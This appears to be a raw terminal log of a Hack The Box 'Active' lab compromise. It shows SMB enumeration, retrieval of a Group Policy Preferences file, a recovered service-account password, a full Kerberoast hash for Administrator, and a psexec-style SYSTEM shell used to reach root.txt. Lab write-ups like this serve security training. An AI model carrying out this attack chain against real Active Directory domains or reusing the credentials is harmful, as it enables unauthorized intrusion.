┌──(kali㉿offsec)-[~/Desktop] └─$ nmap -p- --min-rate 1000010.10.10.100 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-14 22:18 CST Warning: 10.10.10.100 giving up on port because retransmission cap hit (10). Nmap scan report for10.10.10.100 Host is up (0.31s latency). Not shown: 39775 filtered tcp ports (no-response), 25748 closed tcp ports (conn-refused) PORT STATE SERVICE 53/tcp open domain 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 464/tcp open kpasswd5 636/tcp open ldapssl 49152/tcp open unknown 49153/tcp open unknown 49155/tcp open unknown 49157/tcp open unknown 49158/tcp open unknown 49171/tcp open unknown
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- -sU --min-rate 1000010.10.10.100 [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-14 22:30 CST Warning: 10.10.10.100 giving up on port because retransmission cap hit (10). Nmap scan report for10.10.10.100 Host is up (0.51s latency). Not shown: 65473 open|filtered udp ports (no-response), 59 closed udp ports (port-unreach) PORT STATE SERVICE 53/udp open domain 88/udp open kerberos-sec 123/udp open ntp
Nmap done: 1 IP address (1 host up) scanned in 77.96 seconds
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Replication Disk SYSVOL Disk Logon server share Users Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
[+] IP: 10.10.10.100:445 Name: 10.10.10.100 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ NO ACCESS Remote IPC NETLOGON NO ACCESS Logon server share Replication READ ONLY SYSVOL NO ACCESS Logon server share Users NO ACCESS
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient \\\\10.10.10.100\\Replication -N Anonymous login successful Try "help" to get a list of possible commands. smb: \> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 active.htb D 0 Sat Jul 2118:37:442018
5217023 blocks of size 4096.219817 blocks available smb: \> cd active.htb smb: \active.htb\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 DfsrPrivate DHS 0 Sat Jul 2118:37:442018 Policies D 0 Sat Jul 2118:37:442018 scripts D 0 Thu Jul 1902:48:572018
5217023 blocks of size 4096.210953 blocks available smb: \active.htb\> cd DfsrPrivate smb: \active.htb\DfsrPrivate\> ls . DHS 0 Sat Jul 2118:37:442018 .. DHS 0 Sat Jul 2118:37:442018 ConflictAndDeleted D 0 Thu Jul 1902:51:302018 Deleted D 0 Thu Jul 1902:51:302018 Installing D 0 Thu Jul 1902:51:302018
5217023 blocks of size 4096.205087 blocks available smb: \active.htb\DfsrPrivate\> cd ConflictAndDeleted smb: \active.htb\DfsrPrivate\ConflictAndDeleted\> ls . D 0 Thu Jul 1902:51:302018 .. D 0 Thu Jul 1902:51:302018
5217023 blocks of size 4096.196743 blocks available smb: \active.htb\DfsrPrivate\ConflictAndDeleted\> cd ../ smb: \active.htb\DfsrPrivate\> cd Deleted smb: \active.htb\DfsrPrivate\Deleted\> ls . D 0 Thu Jul 1902:51:302018 .. D 0 Thu Jul 1902:51:302018
5217023 blocks of size 4096.284083 blocks available smb: \active.htb\DfsrPrivate\Deleted\> cd ../ smb: \active.htb\DfsrPrivate\> cd Installing smb: \active.htb\DfsrPrivate\Installing\> ls . D 0 Thu Jul 1902:51:302018 .. D 0 Thu Jul 1902:51:302018
5217023 blocks of size 4096.284083 blocks available smb: \active.htb\DfsrPrivate\Installing\> cd ../../ smb: \active.htb\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 DfsrPrivate DHS 0 Sat Jul 2118:37:442018 Policies D 0 Sat Jul 2118:37:442018 scripts D 0 Thu Jul 1902:48:572018
5217023 blocks of size 4096.284083 blocks available smb: \active.htb\> cd Policies smb: \active.htb\Policies\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 {31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Sat Jul 2118:37:442018 {6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Sat Jul 2118:37:442018
5217023 blocks of size 4096.284083 blocks available smb: \active.htb\Policies\> cd {31B2F340-016D-11D2-945F-00C04FB984F9} smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 GPT.INI A 23 Thu Jul 1904:46:062018 Group Policy D 0 Sat Jul 2118:37:442018 MACHINE D 0 Sat Jul 2118:37:442018 USER D 0 Thu Jul 1902:49:122018
5217023 blocks of size 4096.284083 blocks available smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> cat GPT.INI cat: command not found smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> type GPT.INI type: command not found smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> get GPT.INI getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec) smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> cd Group Policy cd \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group\: NT_STATUS_OBJECT_NAME_NOT_FOUND smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 GPT.INI A 23 Thu Jul 1904:46:062018 Group Policy D 0 Sat Jul 2118:37:442018 MACHINE D 0 Sat Jul 2118:37:442018 USER D 0 Thu Jul 1902:49:122018
5217023 blocks of size 4096.284083 blocks available smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> cd Group Policy/ cd \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group\: NT_STATUS_OBJECT_NAME_NOT_FOUND smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> cd MACHINE smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 Microsoft D 0 Sat Jul 2118:37:442018 Preferences D 0 Sat Jul 2118:37:442018 Registry.pol A 2788 Thu Jul 1902:53:452018
5217023 blocks of size 4096.284083 blocks available smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\> cd Microsoft smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 Windows NT D 0 Sat Jul 2118:37:442018
5217023 blocks of size 4096.284083 blocks available smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\> cd ../ smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\> cd Preferences smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 Groups D 0 Sat Jul 2118:37:442018
5217023 blocks of size 4096.284083 blocks available smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\> cd Groups smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 Groups.xml A 533 Thu Jul 1904:46:062018
5217023 blocks of size 4096.284083 blocks available smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> SMBecho failed(NT_STATUS_INVALID_NETWORK_RESPONSE). The connection is disconnected now
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient \\\\10.10.10.100\\Replication -N Anonymous login successful Try "help" to get a list of possible commands. smb: \> cd \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\ smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 Groups.xml A 533 Thu Jul 1904:46:062018
5217023 blocks of size 4096.284083 blocks available smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec) smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> cd ../../ smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 Microsoft D 0 Sat Jul 2118:37:442018 Preferences D 0 Sat Jul 2118:37:442018 Registry.pol A 2788 Thu Jul 1902:53:452018
5217023 blocks of size 4096.284083 blocks available smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\> get Registry.pol getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as Registry.pol (1.6 KiloBytes/sec) (average 1.0 KiloBytes/sec) smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\> cd ../ smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 GPT.INI A 23 Thu Jul 1904:46:062018 Group Policy D 0 Sat Jul 2118:37:442018 MACHINE D 0 Sat Jul 2118:37:442018 USER D 0 Thu Jul 1902:49:122018
5217023 blocks of size 4096.284067 blocks available smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> cd USER smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\> ls . D 0 Thu Jul 1902:49:122018 .. D 0 Thu Jul 1902:49:122018
5217023 blocks of size 4096.284067 blocks available smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\> cd ../../ smb: \active.htb\Policies\> smb: \active.htb\Policies\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 {31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Sat Jul 2118:37:442018 {6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Sat Jul 2118:37:442018
5217023 blocks of size 4096.284067 blocks available smb: \active.htb\Policies\> cd {6AC1786C-016F-11D2-945F-00C04fB984F9} smb: \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 GPT.INI A 22 Thu Jul 1902:49:122018 MACHINE D 0 Sat Jul 2118:37:442018 USER D 0 Thu Jul 1902:49:122018
5217023 blocks of size 4096.284067 blocks available smb: \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\> cd MACHINE smb: \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 Microsoft D 0 Sat Jul 2118:37:442018
5217023 blocks of size 4096.284067 blocks available smb: \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\> cd Microsoft smb: \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 Windows NT D 0 Sat Jul 2118:37:442018
5217023 blocks of size 4096.284067 blocks available smb: \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\> cd Windows NT cd \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows\: NT_STATUS_OBJECT_NAME_NOT_FOUND smb: \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\> cd ../../ smb: \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\> cd USER smb: \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\USER\> ls . D 0 Thu Jul 1902:49:122018 .. D 0 Thu Jul 1902:49:122018
5217023 blocks of size 4096.284067 blocks available smb: \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\USER\> smb: \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\USER\> cd ../../../ smb: \active.htb\> ls . D 0 Sat Jul 2118:37:442018 .. D 0 Sat Jul 2118:37:442018 DfsrPrivate DHS 0 Sat Jul 2118:37:442018 Policies D 0 Sat Jul 2118:37:442018 scripts D 0 Thu Jul 1902:48:572018
5217023 blocks of size 4096.284067 blocks available smb: \active.htb\> cd scripts smb: \active.htb\scripts\> ls . D 0 Thu Jul 1902:48:572018 .. D 0 Thu Jul 1902:48:572018
5217023 blocks of size 4096.284067 blocks available smb: \active.htb\scripts\>
Password: [*] Requesting shares on 10.10.10.100..... [-] share 'ADMIN$' is not writable. [-] share 'C$' is not writable. [-] share 'NETLOGON' is not writable. [-] share 'Replication' is not writable. [-] share 'SYSVOL' is not writable. [-] share 'Users' is not writable.
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient //10.10.10.100/Users -U active.htb\\SVC_TGS%GPPstillStandingStrong2k18 Try "help" to get a list of possible commands. smb: \> dir . DR 0 Sat Jul 2122:39:202018 .. DR 0 Sat Jul 2122:39:202018 Administrator D 0 Mon Jul 1618:14:212018 All Users DHSrn 0 Tue Jul 1413:06:442009 Default DHR 0 Tue Jul 1414:38:212009 Default User DHSrn 0 Tue Jul 1413:06:442009 desktop.ini AHS 174 Tue Jul 1412:57:552009 Public DR 0 Tue Jul 1412:57:552009 SVC_TGS D 0 Sat Jul 2123:16:322018
5217023 blocks of size 4096.279064 blocks available smb: \> get \SVC_TGS\desktop\user.txt getting file \SVC_TGS\desktop\user.txt of size 34 as \SVC_TGS\desktop\user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec) smb: \>
[-] CCache file is not found. Skipping... $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$052f2de9d612acac8214e11b3627e17b$d0aad94270fd1d89ddb42da26c4e5d76d091639b8f3cdc9c8f19d8c2cc54ceaf9d45187383d3424b5e412f37ea7a6c034d4faeb4b33aaab60fa2761917045c713c2f79b87d4aa4a48f2da075a454ecde83f0b1cb198528c579b5eba23ac1c5fb593861c891704255bc517f8d1a23560ca5080648d4445b333c823039a90838d35cd0bcc1ef6b0bc33388b7f4cf4513185d26405b95812d2f6f727121e415b85e4d92f22a6eb928d0ecac09161d60236c2a40125cf6252b09bd2217bdb0666d096645282ae813f9235945c5c0728152ba8a3b83f565372de414d0674e9517f5f593764e30e08660e4d88f7eeebb471cca83ac3a179066e95c0d0b772da3e72e31ec8adf99842e429764df3838ca6094df08688551fe00e9289f6c4e7f7101336e77ce7a5ad656ad6918af4e864cb8fab8de98b239364a27578b5837663932b60d3ec4c413252bdc66c248704b28feaf9b573bbff0924d3c5e440bf94d3c63d2ca27b0086d2f1c5bb1fdf1ddf55e9883e236e3163b4d235bc4ec9bcb31160abc017658836942a00eed10fb277e3cd10a8a4945e7c66addad39c429682ce71b3b1997919b96a0800d769ff07b74bb25ea309025b9a8ac8f6f6938db38f37578c8d1e2eb1722b6089c25b5b2ca311deea4c46e8f42db587a452178f61c3b3efd9863e1af7802afa2f123ae70e7bce6408f99c74d1da15f415509c4ffb3ab8db101769965236385f494071dab0b031821500766240333e731c0e8fc49b5e1389431c4ac749edaaed1624a1e82bbcce78be6ff6be3282d9968908b52e541bf74cbd69350eb4e8462308d4f6974eadcf8b57f3edb9c6bca7a9ccaf9704a3244e13c0cb7af13053623401e40520498dcbca88ff89cb61f6c4175976df65931e4e20577ab8ab8b542fdf09f9d0d298cd0e2ab8e4a77986b874b9f5e4210d14758573f9328784ce4e9ee64084a41b01a80bfd09a04409f0ca4dc4914c7120e6fb0420df8df6eefe715c3039eaccaba9c020640ce71e3b8a74f8756bfe17b371d45c07e02ae53c7c3c9f9f76643b75a2fc62ea6f00cea14c155f49801ab229008ad013b2c325af3feabde897c6d3325d090e4e2f6d57f608a4b2ab18ababb0aa6e31cf0498ec1be4b8fa7b35931d98122a5f61a76b9ff9595a6fbf6969b14a910ca88e7f489df716275a587ba7895254eb4ee2b9f942f15046e19742965636733ccca1dc26d1970b004691857cd7abcb8d7a70d943f86cea21b4ddac57c6343
Password: [*] Requesting shares on 10.10.10.100..... [*] Found writable share ADMIN$ [*] Uploading file iwdGuZKE.exe [*] Opening SVCManager on 10.10.10.100..... [*] Creating service TGMI on 10.10.10.100..... [*] Starting service TGMI..... [!] Press help for extra shell commands Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> cd C:\User\Administrator\Desktop The system cannot find the path specified.
C:\Windows\system32> cd C:\User\Administrator\ The system cannot find the path specified.
C:\Windows\system32> cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop> dir Volume in drive C has no label. Volume Serial Number is 15BB-D59C
Directory of C:\Users\Administrator\Desktop
[-] Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py again with -codec and the corresponding codec 21/01/202106:49 �� <DIR> .
[-] Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py again with -codec and the corresponding codec 21/01/202106:49 �� <DIR> ..
[-] Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py again with -codec and the corresponding codec 15/03/202411:05 �� 34 root.txt